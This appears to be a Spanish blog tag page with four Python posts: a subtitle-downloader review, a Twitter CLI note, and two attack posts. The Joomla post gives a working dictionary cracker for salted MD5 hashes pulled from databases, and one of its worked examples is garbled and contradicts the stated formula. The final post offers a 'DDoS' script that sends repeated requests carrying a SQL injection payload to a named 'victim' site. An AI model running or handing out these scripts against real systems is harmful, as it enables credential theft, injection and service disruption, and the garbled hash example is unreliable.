Etiquetapython

Subdownloader: Encuentra los subtitulos para tus videos mediante hash

Necesitaba encontrar los subtitulos para unos videos bastante rebuscados, no encontraba ninguno que se adaptara a la versión que había conseguido, tampoco queria editarlos. Entre navegar y navegar, encontre varias herramientas y finalmente me quedé con subdownloader.

Subdownloader es una “rápida y fácil” herramienta para descargar subtitulos. La herramienta obtiene un hash de tus películas y luego va a buscar los subtitulos que coincidan con ese hash a un repositorio de subtitulos en internet: Open Subtitles.

La herramienta está escrita en python, puedes descargar los paquetes para Debian, Archlinux, Gentoo, MacOSX y tambien para Wilson Windows. Obviamente tambien puedes descargar el source para cualquier otra distribución.

Simplemente tienes que instalar y ejecutar. Automáticamente se abre una interáz para navegar entre tus directorios

Seleccionas el directorio o el archivo y automaticamente subdownloader calculará el hash e irá a internet a buscar el subtitulo que coincida con dicho archivo. Seleccionas el idioma

Y el archivo se descargará al directorio actual. Como dicen ellos mismos, la herramienta se basa en el principio KISS (Keep It Simple, Stupid)

El sitio oficial de Subdownloader es https://www.subdownloader.net.

Joomla! Password Cracker

Saber como “hashea” las password el cms Joomla! no es algo muy complicado, no tiene ninguna ciencia y es muy facil de entender para intentar crackear algun password obtenido de alguna base de datos.
El hash en la base de datos tiene la forma de “HASH:SALT” y la forma en que genera el HASH es agregando el SALT al final de la password original, de esta forma: md5(password.SALT):SALT
Por ejemplo, si tenemos la password “foo” y el SALT “bar”, la forma de crear el hash sería:md5(foobar):bar
Lo que quedaría como 3858f62230ac3c915f300c664312c63f:bar

Por ejemplo, para probar con un hash mas real probaremos con  bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel que corresponde a la password “test” concatenada con el SALT 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel:

md5(testbd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel) = bd874661cb31eb7b612862725d0008f2

Entonces, la forma de crackear usando por ejemplo un diccionario seria tan facil como “parsear” el SALT, concatenarlo a la palabra del diccionario, calcular su md5 y compararla con el valor que está antes de los “:” del hash. Para esto, hice el siguiente script en Python:

#!/usr/bin/python2

from hashlib import md5
import sys
import string

original = sys.argv[1].split(':')
_md5 = original[0]
_salt = original[1]
print 'Trying to crack ' + _md5 + ' SALTED with ' + _salt + '... '
for line in sys.stdin:
	line = line.strip()
	attempt = md5(line + _salt).hexdigest()
	if(attempt == _md5):
		print _md5 + ':' + _salt + ' --- Password Found: ' + line
		print 'Hapy hacking!'
		sys.exit(0)
print 'Password not found : - ('
sys.exit(1)

Intenemos crackear el hash correspondiente a la password “test”:

$ ./john -i --stdout|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel

Trying to crack bd874661cb31eb7b612862725d0008f2 SALTED with 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel...
bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel
--- Password Found: test
Hapy hacking!
$

En este caso use “john the ripper” para generar un diccionario en el stdout pasandolo por stdin al script. Tambien se pueden usar diccionarios de la siguiente forma:

$ cat diccionario.txt|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel

simple-pytweet: El reemplazo de twitsh

Hace un tiempo publiqué un script que servia para twittear de forma rapida y sin tener ninguna “aplicación” aparatosa, el script estaba escrito en bash y en ese tiempo usaba metodo de autenticación “plana” e “insegura”. Ahora reescribí el código en python y usando OAuth.
El nuevo script se llama simple-pytweet y si usar Archlinux puedes usar el PKGBUILD que publiqué en AUR, sino puedes descargar el tarball desde https://dev.zerial.org/simple-pytweet.

El código es simple, requiere python-twitter y pyzenity y lee los parametros de OAuth como TOKEN y SECRET etc desde un archivo llamado .simple-pytweet en tu $HOME.

DDoS Attacker Script: Peticiones automatizadas para lograr DoS

DDoS Attacker Script” es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.

El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:

#!/usr/bin/python
import socket, sys, os
print "][ Attacking " + sys.argv[1]  + " ... ]["
print "injecting " + sys.argv[2];
def attack():	
	#pid = os.fork()
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((sys.argv[1], 80))
	print ">> GET /" + sys.argv[2] + " HTTP/1.1"
	s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
	s.send("Host: " + sys.argv[1]  + "\r\n\r\n");
	s.close()
for i in range(1, 10):
	attack()

La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.
El uso del script es de la siguiente forma:
$ python DDoS.py www.pagina.com SQLi
En www.pagina.com obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo “ver_productos.php?id=55′ or ‘1’=’1